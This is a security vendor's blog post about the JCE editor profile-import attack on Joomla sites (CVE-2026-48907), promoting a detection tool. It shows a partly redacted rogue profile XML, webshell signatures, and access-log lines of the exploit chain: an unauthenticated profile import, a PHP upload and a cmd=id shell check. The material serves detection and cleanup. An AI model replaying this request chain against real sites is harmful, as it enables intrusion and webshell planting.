&lt;li&gt;It &lt;strong&gt;finds&lt;/strong&gt; rogue editor profiles and the webshells they drop automatically. When it flags something, you &lt;strong&gt;fix&lt;/strong&gt; it manually from one screen: on Joomla 4, 5 and 6 you remove the profiles, delete the backdoors, and update JCE with a click each&lt;/li&gt;
&lt;li&gt;It is scoped to this attack’s fingerprint, so a permissive profile (one with &lt;code&gt;allow_php&lt;/code&gt; on for legitimate reasons) is &lt;strong&gt;not&lt;/strong&gt; flagged. The discriminator is whether a profile lets you upload a script file&lt;/li&gt;
&lt;li&gt;The attack itself abuses the unauthenticated editor profile upload patched in &lt;strong&gt;JCE 2.9.99.5&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;CVE-2026-48907&lt;/a&gt;): import a rogue profile that allows &lt;strong&gt;php and txt uploads&lt;/strong&gt;, then use it to drop a &lt;strong&gt;webshell&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;It started with three sites in one portfolio. We have since seen hundreds, and with working exploit code for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt; published on GitHub on 9 June, we expect thousands over the coming days. One compromised site is rarely the only one&lt;/li&gt;
&lt;li&gt;To find every install still on a vulnerable build, pair the check with the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;mySites.guru extension search&lt;/a&gt; and patch them in one batch with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Removing the files without updating JCE invites reinfection: &lt;strong&gt;patch the entry point&lt;/strong&gt;, do not just clean up after it&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Watch: check and clean a JCE-hacked Joomla site&lt;/h2&gt;
&lt;p&gt;Basic Joomla Tutorials walks through spotting the JCE Profiles hack and cleaning it up with mySites.guru.&lt;/p&gt;
&lt;div&gt;&lt;/div&gt;
&lt;p&gt;Tim Davis publishes clear, no-nonsense Joomla guides on his &lt;a href=&quot;https://www.youtube.com/@BasicJoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; channel. If you run Joomla, it is well worth a subscribe.&lt;/p&gt;
&lt;h2&gt;The new tool: Check for JCE Rogue Profiles &amp;amp; Backdoors&lt;/h2&gt;
&lt;p&gt;Everything in the manual cleanup further down this post (the database query, the file hunt across &lt;code&gt;tmp&lt;/code&gt;, &lt;code&gt;media&lt;/code&gt; and &lt;code&gt;images&lt;/code&gt;, the careful “is this profile rogue or just permissive” judgement) is work that does not get done by hand at scale, repeated for every site you manage. So we built it into mySites.guru as a dedicated check.&lt;/p&gt;
&lt;p&gt;It runs on every snapshot, so it is already looking at your connected Joomla sites twice a day. On the site health view it sits in its own &lt;strong&gt;Hacked?&lt;/strong&gt; section, with a single OK on a clean site or a red count of threats on a compromised one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/jce-rogue-profiles-tool-snapshot.DGWWBdrc_Zr83c9.webp&quot; srcset=&quot;https://mysites.guru/_astro/jce-rogue-profiles-tool-snapshot.DGWWBdrc_1fOoLw.webp 640w, https://mysites.guru/_astro/jce-rogue-profiles-tool-snapshot.DGWWBdrc_Z1mlhP8.webp 750w, https://mysites.guru/_astro/jce-rogue-profiles-tool-snapshot.DGWWBdrc_10UuEB.webp 828w, https://mysites.guru/_astro/jce-rogue-profiles-tool-snapshot.DGWWBdrc_27PS7l.webp 1080w, https://mysites.guru/_astro/jce-rogue-profiles-tool-snapshot.DGWWBdrc_ZWpD0n.webp 1280w, https://mysites.guru/_astro/jce-rogue-profiles-tool-snapshot.DGWWBdrc_Zr83c9.webp 1608w&quot; alt=&quot;The Check for JCE Rogue Profiles and Backdoors tool in the Hacked section of a mySites.guru site snapshot, showing an OK status&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1608px) 1608px, 100vw&quot; width=&quot;1608&quot; height=&quot;400&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When a site is flagged, the whole snapshot leads with a red “This site has been flagged as hacked” banner, and the check shows the threat count, eleven on this site, with an Investigate button to drill in.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/jce-rogue-profiles-tool-flagged.CtMKhBqm_sH827.webp&quot; srcset=&quot;https://mysites.guru/_astro/jce-rogue-profiles-tool-flagged.CtMKhBqm_tGFrq.webp 640w, https://mysites.guru/_astro/jce-rogue-profiles-tool-flagged.CtMKhBqm_ljBdc.webp 750w, https://mysites.guru/_astro/jce-rogue-profiles-tool-flagged.CtMKhBqm_ZtiDmr.webp 828w, https://mysites.guru/_astro/jce-rogue-profiles-tool-flagged.CtMKhBqm_ZjSzfh.webp 1080w, https://mysites.guru/_astro/jce-rogue-profiles-tool-flagged.CtMKhBqm_Zk6Lyt.webp 1280w, https://mysites.guru/_astro/jce-rogue-profiles-tool-flagged.CtMKhBqm_ozp29.webp 1668w, https://mysites.guru/_astro/jce-rogue-profiles-tool-flagged.CtMKhBqm_sH827.webp 1750w&quot; alt=&quot;A flagged mySites.guru snapshot with a red This site has been flagged as hacked banner, and the Check for JCE Rogue Profiles and Backdoors check showing 11 threats with an Investigate button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1750px) 1750px, 100vw&quot; width=&quot;1750&quot; height=&quot;752&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;What it actually checks&lt;/h3&gt;
&lt;p&gt;The check looks for the fingerprints of this specific attack, in the specific places it leaves them, rather than scanning your whole site (that is the job of the separate suspect content audit). It looks at three things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The JCE profiles table.&lt;/strong&gt; It flags editor profiles that match the attacker signature: a machine-generated name matching &lt;code&gt;J&lt;/code&gt; followed by six digits (&lt;code&gt;J940401&lt;/code&gt;), labels such as &lt;code&gt;Pwned&lt;/code&gt; with a description of &lt;code&gt;RCE via JCE&lt;/code&gt;, a large negative ordering that forces the profile to the top, or upload filetypes that allow &lt;code&gt;php&lt;/code&gt; or &lt;code&gt;phtml&lt;/code&gt;. Crucially, a profile that only has &lt;code&gt;allow_php&lt;/code&gt; enabled is &lt;strong&gt;not&lt;/strong&gt; flagged, because that setting governs PHP inside article content, not file uploads. The discriminator is whether the profile lets you upload a script file, which is what makes the attack work.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malicious profile imports.&lt;/strong&gt; The rogue profile is usually dropped as an &lt;code&gt;.xml&lt;/code&gt; file in a writable directory before it is imported. The check looks for those import files in the known drop locations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dropped backdoors.&lt;/strong&gt; It checks the exact locations this kit uses (&lt;code&gt;tmp&lt;/code&gt;, &lt;code&gt;images&lt;/code&gt;, &lt;code&gt;media/system/js&lt;/code&gt;, &lt;code&gt;libraries/joomla&lt;/code&gt;) for hidden &lt;code&gt;.xml.php&lt;/code&gt; droppers, &lt;code&gt;eval(gzinflate(base64_decode(...)))&lt;/code&gt; webshells, &lt;code&gt;shell_exec&lt;/code&gt; command shells, and &lt;code&gt;Nxploited&lt;/code&gt; marker files.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When it finds something, Investigate lists every rogue profile (with the reason each one was flagged) and every malicious file (with its path and why it matched), so you can see exactly what is there before you touch anything. Here it is on a compromised site, showing both kits’ signatures side by side: the &lt;code&gt;J940401&lt;/code&gt; machine-generated name and the &lt;code&gt;Pwned&lt;/code&gt; labels from earlier, plus eight malicious files spanning the hidden &lt;code&gt;.xml.php&lt;/code&gt; droppers, the &lt;code&gt;eval(gzinflate(base64_decode))&lt;/code&gt; and &lt;code&gt;shell_exec($_POST)&lt;/code&gt; webshells, the &lt;code&gt;Nxploited&lt;/code&gt; markers, and the profile import &lt;code&gt;.xml&lt;/code&gt; itself, each with a plain-English reason it was flagged.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/jce-rogue-profiles-tool-investigate.CfkGGugB_1HIa68.webp&quot; srcset=&quot;https://mysites.guru/_astro/jce-rogue-profiles-tool-investigate.CfkGGugB_Z2qOfyz.webp 640w, https://mysites.guru/_astro/jce-rogue-profiles-tool-investigate.CfkGGugB_1svzkd.webp 750w, https://mysites.guru/_astro/jce-rogue-profiles-tool-investigate.CfkGGugB_8OmzW.webp 828w, https://mysites.guru/_astro/jce-rogue-profiles-tool-investigate.CfkGGugB_puYEg.webp 1080w, https://mysites.guru/_astro/jce-rogue-profiles-tool-investigate.CfkGGugB_Z1oTw5f.webp 1280w, https://mysites.guru/_astro/jce-rogue-profiles-tool-investigate.CfkGGugB_Z2dHfsN.webp 1668w, https://mysites.guru/_astro/jce-rogue-profiles-tool-investigate.CfkGGugB_ZWSyuU.webp 2048w, https://mysites.guru/_astro/jce-rogue-profiles-tool-investigate.CfkGGugB_ekJJf.webp 2560w, https://mysites.guru/_astro/jce-rogue-profiles-tool-investigate.CfkGGugB_1HIa68.webp 2648w&quot; alt=&quot;The Investigate view of the Check for JCE Rogue Profiles and Backdoors tool, listing three rogue JCE profiles and eight malicious files on a compromised site, each with the reason it was flagged&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2648px) 2648px, 100vw&quot; width=&quot;2648&quot; height=&quot;2156&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From the same screen you can remove the rogue profiles, delete the backdoor files, and, on Joomla 4, 5 and 6, upgrade JCE to the patched version through Joomla’s own updater to close the entry point. The deletions are permanent and mySites.guru does not keep a backup, so the tool lists everything first, warns you before it acts, and asks you to take your own copy of anything you want for evidence.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/jce-rogue-profiles-tool-confirm.Bm6WNrOv_Z1Bqs5j.webp&quot; srcset=&quot;https://mysites.guru/_astro/jce-rogue-profiles-tool-confirm.Bm6WNrOv_kITbn.webp 640w, https://mysites.guru/_astro/jce-rogue-profiles-tool-confirm.Bm6WNrOv_1mshBP.webp 750w, https://mysites.guru/_astro/jce-rogue-profiles-tool-confirm.Bm6WNrOv_ZTLo2r.webp 828w, https://mysites.guru/_astro/jce-rogue-profiles-tool-confirm.Bm6WNrOv_Z1Bqs5j.webp 962w&quot; alt=&quot;The Remove rogue profiles confirmation dialog, warning that the deletion is permanent and that mySites.guru does not keep a backup&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 962px) 962px, 100vw&quot; width=&quot;962&quot; height=&quot;506&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;It is scoped to this attack on purpose. The file list it shows is the JCE-specific set, not a full backdoor sweep, and it says so: if you want to scan the whole site for malicious files, that is a one-click link through to a full audit.&lt;/p&gt;
&lt;p&gt;When a site is clean, which is the common case, the check just confirms it.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/jce-rogue-profiles-tool-clear.Bvb5J9dT_21E9xB.webp&quot; srcset=&quot;https://mysites.guru/_astro/jce-rogue-profiles-tool-clear.Bvb5J9dT_Z2j6nc4.webp 640w, https://mysites.guru/_astro/jce-rogue-profiles-tool-clear.Bvb5J9dT_1nIi0s.webp 750w, https://mysites.guru/_astro/jce-rogue-profiles-tool-clear.Bvb5J9dT_Z1ugBNS.webp 828w, https://mysites.guru/_astro/jce-rogue-profiles-tool-clear.Bvb5J9dT_Z2sdcYT.webp 1080w, https://mysites.guru/_astro/jce-rogue-profiles-tool-clear.Bvb5J9dT_21E9xB.webp 1118w&quot; alt=&quot;The Check for JCE Rogue Profiles and Backdoors tool showing a green No JCE compromise found result on a clean site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1118px) 1118px, 100vw&quot; width=&quot;1118&quot; height=&quot;860&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Think you are too big, or too careful, to be hit?&lt;/h2&gt;
&lt;p&gt;If you are tempted to assume this only happens to neglected sites run by people who do not patch, look at what it did to the most prominent Joomla sites there are. The hack did not stop at one property. The official Joomla Extensions Directory, &lt;strong&gt;extensions.joomla.org&lt;/strong&gt;, the place every Joomla administrator goes to find and install extensions, was taken down and replaced with a bare “503 Maintenance” holding page. So were &lt;strong&gt;community.joomla.org&lt;/strong&gt; and &lt;strong&gt;certification.joomla.org&lt;/strong&gt;. Three of the Joomla project’s own flagship sites, all serving the same maintenance page at the same time.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/extensions-joomla-org-503-maintenance.CgcbYnx2_Z1VKihX.webp&quot; srcset=&quot;https://mysites.guru/_astro/extensions-joomla-org-503-maintenance.CgcbYnx2_Iianx.webp 640w, https://mysites.guru/_astro/extensions-joomla-org-503-maintenance.CgcbYnx2_ZzV2pJ.webp 750w, https://mysites.guru/_astro/extensions-joomla-org-503-maintenance.CgcbYnx2_Z1XNGB4.webp 828w, https://mysites.guru/_astro/extensions-joomla-org-503-maintenance.CgcbYnx2_ZE0Wfg.webp 1080w, https://mysites.guru/_astro/extensions-joomla-org-503-maintenance.CgcbYnx2_ZzgNab.webp 1280w, https://mysites.guru/_astro/extensions-joomla-org-503-maintenance.CgcbYnx2_Z1VKihX.webp 1570w&quot; alt=&quot;The official Joomla Extensions Directory at extensions.joomla.org showing a 503 Maintenance page, reading This website is currently undergoing maintenance, please try again later, after being hit by the JCE profiles hack&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1570px) 1570px, 100vw&quot; width=&quot;1570&quot; height=&quot;1258&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;No one had to guess at the cause either. In the Joomla community chat the same day, someone asked why the directory was throwing a 503, and the answer came back straight away.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-community-chat-jed-jce-hack.CGZ0QwZY_2joH3r.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-community-chat-jed-jce-hack.CGZ0QwZY_ZoE7Cb.webp 640w, https://mysites.guru/_astro/joomla-community-chat-jed-jce-hack.CGZ0QwZY_d9jpu.webp 750w, https://mysites.guru/_astro/joomla-community-chat-jed-jce-hack.CGZ0QwZY_Z22WMb8.webp 828w, https://mysites.guru/_astro/joomla-community-chat-jed-jce-hack.CGZ0QwZY_2joH3r.webp 990w&quot; alt=&quot;A Joomla community chat thread dated 13 June. Serge Billon asks Hello. Jed is in maintenance ? 503 error. Emmanuel L. replies yes, it has been hit by the JCE hack and is being worked on. Olivier Buisard adds Good to see people notice, with a smiley.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 990px) 990px, 100vw&quot; width=&quot;990&quot; height=&quot;392&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Sit with that for a second. These are not hobbyists’ abandoned brochure sites. They are flagship properties run by the Joomla project itself, maintained by people who know Joomla security better than almost anyone, on infrastructure that is watched closely. JCE is one of the most-installed editors in the Joomla world, so any site running it was about as exposed to this attack as a site could be, and exposure plus an unauthenticated, fully automated exploit is all it takes. The botnet spraying this exploit does not check who owns a site or how competent its administrators are before it fires. It finds a reachable JCE install, imports the rogue profile, drops the shell, and moves on, and a 503 maintenance page is what the cleanup looks like from the outside.&lt;/p&gt;
&lt;p&gt;The lesson for everyone managing Joomla sites is blunt. “My sites are well looked after” and “I would have noticed” are not the protection they feel like, because this needs no login, leaves no failed-login trail, and hits every reachable install at once. If the Joomla project’s own extensions directory, community site, and certification site can all be taken offline by it at once, the handful of older Joomla sites sitting forgotten in your portfolio absolutely can be too. The only thing that actually protects a site is the JCE version it is running, and the only way to know that across a whole portfolio without logging into every administrator panel by hand is to have something watching all of them for you. That is exactly the gap the check in this post closes.&lt;/p&gt;
&lt;h2&gt;How the JCE profiles attack works&lt;/h2&gt;
&lt;p&gt;JCE’s defining feature is its Editor Profiles system. Rather than handing every logged-in user the same editor, JCE lets an administrator define different profiles for different user groups. A registered user might get a stripped-down toolbar with no file uploads. A content editor might get image and file managers scoped to one media directory. A super user gets the full editor with broad file operations.&lt;/p&gt;
&lt;p&gt;Each profile defines, among other things, which file types may be uploaded and into which directories. A profile is, in effect, a set of filesystem permissions wearing an editor’s clothes. Control the profile and you control what file operations JCE will run.&lt;/p&gt;
&lt;p&gt;The flaw patched in 2.9.99.5 was an access control gap on the action that imports an editor profile: before the patch, an unauthenticated request could reach it. Put the two facts together and the attack writes itself. If an anonymous actor can upload a profile, and a profile dictates which file types may be uploaded, the attacker imports a profile permissive enough to allow a PHP upload, then uses it to upload a webshell. That is the chain the &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;2.9.99.5 advisory&lt;/a&gt; points at with “upload arbitrary files to the server,” and it is the chain we watched happen.&lt;/p&gt;
&lt;h3&gt;What it looked like on disk&lt;/h3&gt;
&lt;p&gt;The clearest tell was the rogue profile itself, delivered as a JCE profile import file. Stripped down and with the dangerous values redacted, it looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;jce&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &amp;lt;&lt;/span&gt;&lt;span&gt;profiles&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span&gt;profile&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;!-- machine-generated, e.g. a letter plus six digits --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&amp;gt;[redacted]&amp;lt;/&lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;published&lt;/span&gt;&lt;span&gt;&amp;gt;1&amp;lt;/&lt;/span&gt;&lt;span&gt;published&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;!-- forced to the top so it takes precedence --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;ordering&lt;/span&gt;&lt;span&gt;&amp;gt;-99999&amp;lt;/&lt;/span&gt;&lt;span&gt;ordering&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;!-- area 0 applies to all users... --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;area&lt;/span&gt;&lt;span&gt;&amp;gt;0&amp;lt;/&lt;/span&gt;&lt;span&gt;area&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;!-- ...and type 1 is the Public group, i.e. anonymous visitors --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;types&lt;/span&gt;&lt;span&gt;&amp;gt;1,8&amp;lt;/&lt;/span&gt;&lt;span&gt;types&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;!-- the file browser plugin is enabled --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;plugins&lt;/span&gt;&lt;span&gt;&amp;gt;browser,image,media,link,file&amp;lt;/&lt;/span&gt;&lt;span&gt;plugins&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;params&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;lt;![CDATA[&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;browser&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;          &quot;filetypes&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            &quot;images&quot;: &quot;jpg,jpeg,png,gif&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            &quot;_comment&quot;: &quot;php is in the upload allow-list&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            &quot;files&quot;: &quot;php,txt,...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;          },&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;          &quot;upload&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            &quot;_comment&quot;: &quot;mime checking switched off&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            &quot;validate_mimetype&quot;: &quot;0&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;          }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      }&lt;/span&gt;&lt;span&gt;]]&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;params&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;/&lt;/span&gt;&lt;span&gt;profile&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &amp;lt;/&lt;/span&gt;&lt;span&gt;profiles&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;jce&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is configured the way an attacker would configure it and no legitimate site ever would. Four lines do all the damage: the &lt;strong&gt;ordering of -99999&lt;/strong&gt; forces it to the top of the profile list; the &lt;strong&gt;area of 0&lt;/strong&gt; with the &lt;strong&gt;Public type&lt;/strong&gt; applies it to anonymous visitors; the &lt;strong&gt;&lt;code&gt;file&lt;/code&gt; plugin&lt;/strong&gt; turns the upload browser on; and the &lt;strong&gt;upload filetypes include &lt;code&gt;php&lt;/code&gt;&lt;/strong&gt; with &lt;strong&gt;mime validation switched off&lt;/strong&gt;, where a normal profile restricts uploads to images and documents.&lt;/p&gt;
&lt;p&gt;That filetypes line is the whole game. A profile that lets you upload a &lt;code&gt;.php&lt;/code&gt; file through the JCE file browser is a profile that lets you upload a webshell. (The full payload is redacted here. There is no reason to publish a working copy.) On this first site the profile had a machine-generated name, &lt;code&gt;J940401&lt;/code&gt;, a throwaway label no human editor would ever type. That name turned out to be a pattern: across the sites we have looked at since, this particular kit names every profile it imports with a capital &lt;code&gt;J&lt;/code&gt; followed by six digits, &lt;code&gt;J938560&lt;/code&gt;, &lt;code&gt;J991471&lt;/code&gt;, &lt;code&gt;J940401&lt;/code&gt;, and so on. If you manage Joomla sites, “any JCE profile whose name starts with &lt;code&gt;J&lt;/code&gt; and is followed by digits” is a fast, specific thing to grep your databases for.&lt;/p&gt;
&lt;p&gt;Alongside it were the webshells the profile was used to drop. A short PHP file that ran shell commands straight from a request parameter, the classic one-line backdoor wrapped in &lt;code&gt;eval(gzinflate(base64_decode(...)))&lt;/code&gt; so it does not read as obvious code at a glance. Then several copies of a second backdoor hidden behind innocuous &lt;code&gt;.xml.php&lt;/code&gt; filenames, planted inside legitimate directories like &lt;code&gt;media/system/js&lt;/code&gt; and &lt;code&gt;libraries/joomla&lt;/code&gt; where an extra file is easy to miss. And a scatter of small marker text files, the sort automated kits drop to fingerprint a successful hit and find their way back to it later.&lt;/p&gt;
&lt;p&gt;None of this required a login. That is the part worth sitting with. The site had no public registration to speak of, and it did not matter, because the entry point was an unauthenticated profile import, not a user account.&lt;/p&gt;
&lt;h3&gt;One vulnerable site rarely travels alone&lt;/h3&gt;
&lt;p&gt;The single site is where we started, not where it ended. Once we knew the fingerprint, we swept the rest of the Joomla sites in that portfolio, and the same attack was sitting live on two more of them. Same mechanism, same upload-everything profile, but a different kit this time, and this one did not bother to hide. Each affected site had three of them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Pwned&lt;/code&gt;, description &lt;code&gt;RCE via JCE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Pwned (2)&lt;/code&gt;, description &lt;code&gt;RCE via JCE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Pwned (3)&lt;/code&gt;, description &lt;code&gt;RCE via JCE&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;with the upload extensions list padded out to &lt;code&gt;php,phtml&lt;/code&gt;. Put that next to the &lt;code&gt;J940401&lt;/code&gt; profile on the first site and you are looking at two different toolkits doing the same thing. Whoever ran these was not doing it by hand. The throwaway names, the repetition, and the identical config across unrelated sites all point at automated tooling spraying the same profile import at every JCE install it can reach.&lt;/p&gt;
&lt;p&gt;That portfolio was just where we started. As the check has rolled out across more connected sites, the count has climbed into the hundreds, and the shape of it (automated tooling spraying the same exploit at every JCE install it can reach) is the same shape that took the 2012 ImageManager bug to tens of thousands of sites. It got worse on 9 June, when working exploit code for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt; was published openly on GitHub. Until then, every attack we logged came from someone’s private toolkit. Now the exploit is a download away for anyone, and the 2012 pattern says that is the point where the long tail of un-updated installs really starts getting swept. We fully expect this to reach the thousands over the coming days.&lt;/p&gt;
&lt;p&gt;That is why this is not a single-site story. If one of your sites is running a vulnerable JCE, the others running the same build are not safe by virtue of being a different site. They are simply ones the scanner has not got to yet, or has, and you have not looked.&lt;/p&gt;
&lt;h3&gt;What it looked like in the access logs&lt;/h3&gt;
&lt;p&gt;The profiles on disk tell you what was installed. The web server logs tell you how it got there, and they are blunt about it. The Apache logs on this site had been dead since 2024, but nginx was fronting the site and had captured everything. Across two days we counted three different attacker IPs, all running the identical exploit: a &lt;code&gt;profiles.import&lt;/code&gt; request to create the rogue profile, immediately followed by a &lt;code&gt;plugin.rpc&lt;/code&gt; upload to drop the shell through it.&lt;/p&gt;
&lt;p&gt;The core of the chain is two requests, back to back, and it is unmistakable once you have seen it once (the host is redacted; the attacker IPs are left in so you can block them):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# 1. Create the rogue editor profile (unauthenticated, CVE-2026-48907)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;107.149.130.5 - POST /index.php?option=com_jce&amp;amp;task=profiles.import          200   &amp;lt;- creates the &quot;Pwned&quot; profile&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# 2. Use that profile to upload the webshell via the file browser plugin&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;107.149.130.5 - POST /index.php?option=com_jce&amp;amp;task=plugin.rpc&amp;amp;plugin=browser&amp;amp;method=upload&amp;amp;id=RCEc37&amp;amp;name=m.php&amp;amp;...   200   &amp;lt;- uploads shell&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# 3. Confirm the shell runs&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;107.149.130.5 - GET  /m.php?cmd=id                                           404   &amp;lt;- wrong path, first guess&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;107.149.130.5 - GET  /images/m.php?cmd=id                                    200   &amp;lt;- shell confirmed working&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three things in there are worth pinning down, because they are what you grep for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The two-request signature.&lt;/strong&gt; A &lt;code&gt;task=profiles.import&lt;/code&gt; POST followed within the same second by a &lt;code&gt;task=plugin.rpc&amp;amp;...&amp;amp;method=upload&lt;/code&gt; POST is the attack, near enough verbatim. The &lt;code&gt;id=RCExxx&lt;/code&gt; parameter (&lt;code&gt;RCEc37&lt;/code&gt;, &lt;code&gt;RCE401&lt;/code&gt;, &lt;code&gt;RCE770&lt;/code&gt; across the IPs we saw) is the attacker’s own literal marker, baked into the toolkit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Every upload returned &lt;code&gt;200&lt;/code&gt;.&lt;/strong&gt; The exploit succeeded on each attempt, because JCE was unpatched. There was no failed-then-retry pattern to give anyone breathing room.&lt;/li&gt;
